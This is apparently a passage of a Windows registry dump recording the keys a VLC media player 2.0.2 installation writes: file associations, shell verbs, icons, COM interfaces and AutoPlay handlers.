"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u]
"(Default)" = "VLC media file (.m3u)"

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.wav\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.wv\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".webm" = ""
".ogx" = ""
".au" = ""

[HKCR\VLC.drc\shell]
"(Default)" = "Open"

[HKCR\VLC.mtv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.nsv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mxf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.aifc]
"(Default)" = "VLC.aifc"

[HKCR\Applications\vlc.exe\SupportedTypes]
".drc" = ""

[HKCR\VLC.rmi\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.avi]
"(Default)" = "VLC media file (.avi)"

[HKCR\VLC.s3m\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.cue]
"(Default)" = "VLC.cue"

[HKCR\.ogv]
"(Default)" = "VLC.ogv"

[HKCR\VLC.mp4v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.it\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Directory\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.tod\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.m3u8]
"(Default)" = "VLC media file (.m3u8)"

[HKCR\VLC.it\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.asf]
"(Default)" = "VLC.asf"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.voc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.bin\shell]
"(Default)" = "Open"

[HKCR\VLC.ogm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ac3\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xspf]
"(Default)" = "VLC media file (.xspf)"

[HKCR\VLC.m4v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".OGA" = "VLC.oga"
".OGG" = "VLC.ogg"

[HKCR\.ifo]
"(Default)" = "VLC.ifo"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ogm" = "VLC.ogm"

[HKCR\VLC.adts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.sdp\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ogx" = "VLC.ogx"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.caf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xa\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".WV" = "VLC.wv"

[HKCR\VLC.ts\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKLM\SOFTWARE\RegisteredApplications]
"vlc" = "Software\Clients\Media\VLC\Capabilities"

[HKCR\VLC.669\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpg" = ""
".mpe" = ""
".MPC" = ""
".mpa" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".tod" = "VLC.tod"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mod\shell]
"(Default)" = "Open"

[HKCR\VLC.wmv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"Version" = "1.0"

[HKCR\Applications\vlc.exe\shell\Open]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.adt\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.au\shell]
"(Default)" = "Open"

[HKCR\VLC.mpg\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MP3" = ""

[HKLM\SOFTWARE\Clients\Media\VLC]
"(Default)" = "VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MP1" = ""

[HKCR\VLC.rmi\shell]
"(Default)" = "Open"

[HKCR\VLC.ac3\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}]
"(Default)" = "IVLCInput"

[HKCR\VLC.s3m\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m4v]
"(Default)" = "VLC media file (.m4v)"

[HKCR\VLC.vlc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.xm]
"(Default)" = "VLC.xm"

[HKCR\VLC.mod\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.aifc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".M3U" = "VLC.m3u"

[HKCR\VLC.caf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.sdp]
"(Default)" = "VLC media file (.sdp)"

[HKCR\VLC.qcp\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".snd" = ""

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"Version" = "1.0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".f4v" = ""

[HKCR\VLC.3g2]
"(Default)" = "VLC media file (.3g2)"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.divx\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.b4s\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.au]
"(Default)" = "VLC.au"

[HKCR\Applications\vlc.exe\SupportedTypes]
".FLAC" = ""

[HKCR\VLC.mpeg1\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.vob]
"(Default)" = "VLC.vob"

[HKCR\VLC.mpa\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mod]
"(Default)" = "VLC media file (.mod)"

[HKCR\VLC.rmi\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ram\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp3\shell]
"(Default)" = "Open"

[HKCR\.mpeg]
"(Default)" = "VLC.mpeg"

[HKCR\VLC.mpeg1\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2ts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3g2\shell]
"(Default)" = "Open"

[HKCR\VLC.tta\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vob\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".vro" = ""

[HKCR\.pls]
"(Default)" = "VLC.pls"

[HKCR\VLC.divx]
"(Default)" = "VLC media file (.divx)"

[HKCR\VLC.drc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vro\shell]
"(Default)" = "Open"

[HKCR\VLC.vqf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".vlc" = ""

[HKCR\VLC.avi\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.xa]
"(Default)" = "VLC media file (.xa)"

[HKCR\VLC.xspf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.divx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aif\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.bin\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.wv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u8\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.cda\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp2v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.m4v\shell]
"(Default)" = "Open"

[HKCR\VLC.mtv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.vqf\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".SPX" = "VLC.spx"

[HKCR\VLC.m4v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m2ts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.pls\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"Publisher" = "VideoLAN"

[HKCR\Applications\vlc.exe\SupportedTypes]
".XSPF" = ""

[HKCR\VLC.rmvb\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.aiff\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mtv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.nsv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg1\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.mp2v]
"(Default)" = "VLC.mp2v"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"InvokeProgID" = "VLC.DVDMovie"

[HKCR\.wv]
"(Default)" = "VLC.wv"

[HKCR\VLC.mp4v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".aif" = "VLC.aif"

[HKCR\VLC.aob\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mp4\shell]
"(Default)" = "Open"

[HKCR\VLC.webm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.asx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.wmv\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vlc" = "VLC.vlc"

[HKCR\VLC.3gp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mlp]
"(Default)" = "VLC media file (.mlp)"

[HKCR\VLC.adts]
"(Default)" = "VLC media file (.adts)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".wma" = "VLC.wma"

[HKCR\VLC.rmvb\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3gpp" = "VLC.3gpp"
".ts" = "VLC.ts"

[HKCR\VLC.rec\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".adts" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ifo" = "VLC.ifo"

[HKCR\VLC.cue]
"(Default)" = "VLC media file (.cue)"

[HKCR\VLC.webm\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayVideoCDMovieOnArrival]
"VLCPlayVCDMovieOnArrival" = ""

[HKCR\VLC.mid\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".dts" = ""

[HKCR\VLC.vob\shell]
"(Default)" = "Open"

[HKCR\.m1v]
"(Default)" = "VLC.m1v"

[HKCR\VLC.dv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".669" = "VLC.669"
".divx" = "VLC.divx"

[HKCR\VLC.wv]
"(Default)" = "VLC media file (.wv)"

[HKCR\VLC.ts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.qcp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogg\shell]
"(Default)" = "Open"

[HKCR\VLC.ape\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.s3m]
"(Default)" = "VLC.s3m"

[HKCR\.it]
"(Default)" = "VLC.it"

[HKCR\VLC.mid\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m3u8\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.asx\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m2v" = "VLC.m2v"
".m2t" = "VLC.m2t"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}]
"(Default)" = "IVLCMediaDescription"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"Version" = "2.0.2"

[HKCR\VLC.ogv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}]
"(Default)" = "IVLCDeinterlace"

[HKCR\VLC.mov\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp4v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.cda\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mka\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.snd\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.m4v]
"(Default)" = "VLC.m4v"

[HKCR\VLC.w64\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aob]
"(Default)" = "VLC media file (.aob)"

[HKCR\VLC.snd\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpe\shell]
"(Default)" = "Open"

[HKCR\VLC.wav\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xm\shell\Open]
"(Default)" = "Play"

[HKCR\.tts]
"(Default)" = "VLC.tts"

[HKCR\VLC.mpeg1]
"(Default)" = "VLC media file (.mpeg1)"

[HKCR\VLC.mov]
"(Default)" = "VLC media file (.mov)"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"Action" = "Play audio DVD"

[HKCR\VLC.vro\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.sdp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.aiff\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpeg" = "VLC.mpeg"

[HKCR\.xspf]
"(Default)" = "VLC.xspf"

[HKCR\VLC.bin\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.b4s\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.m2t\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".qcp" = "VLC.qcp"

[HKCR\VLC.mp4v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpeg2\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.tts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp4\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.669]
"(Default)" = "VLC media file (.669)"

[HKCR\VLC.bin]
"(Default)" = "VLC media file (.bin)"

[HKCR\VLC.flv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wmv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mp4\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.aob\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.mts]
"(Default)" = "VLC.mts"

[HKCR\VLC.adts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".gxf" = "VLC.gxf"

[HKCR\VLC.vro]
"(Default)" = "VLC media file (.vro)"

[HKCR\VLC.aifc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.amr\shell]
"(Default)" = "Open"

[HKCR\.asx]
"(Default)" = "VLC.asx"

[HKCR\.b4s]
"(Default)" = "VLC.b4s"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.mpeg4\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogx\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".vqf" = ""

[HKCR\VLC.w64\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.3ga]
"(Default)" = "VLC media file (.3ga)"

[HKCR\VLC.mpg\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xa\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.wma\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.669\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.au\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.m2v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.caf\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"InvokeVerb" = "Open"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.nuv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.amr\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ac3\shell]
"(Default)" = "Open"

[HKCR\VLC.CDAudio\shell]
"(Default)" = "Open"

[HKCR\VLC.wma\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ape\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ogx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.divx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".XSPF" = "VLC.xspf"

[HKCR\VLC.ape]
"(Default)" = "VLC media file (.ape)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".RMI" = "VLC.rmi"

[HKCR\VLC.a52]
"(Default)" = "VLC media file (.a52)"

[HKCR\VLC.vqf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m2v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".CDA" = "VLC.cda"

[HKCR\VLC.dv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.flac\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rm\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg4\shell]
"(Default)" = "Open"

[HKCR\VLC.3gpp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ape\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aac\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.tod\shell]
"(Default)" = "Open"

[HKCR\VLC.wav\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.amr\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3gp" = "VLC.3gp"

[HKCR\VLC.mp2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3ga\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".tts" = ""

[HKCR\VLC.669\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.amv\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".adts" = "VLC.adts"

[HKCR\VLC.oga\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.spx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.it\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".TTA" = ""

[HKCR\VLC.mpg\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3gpp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.bin\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mka\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3g2" = "VLC.3g2"

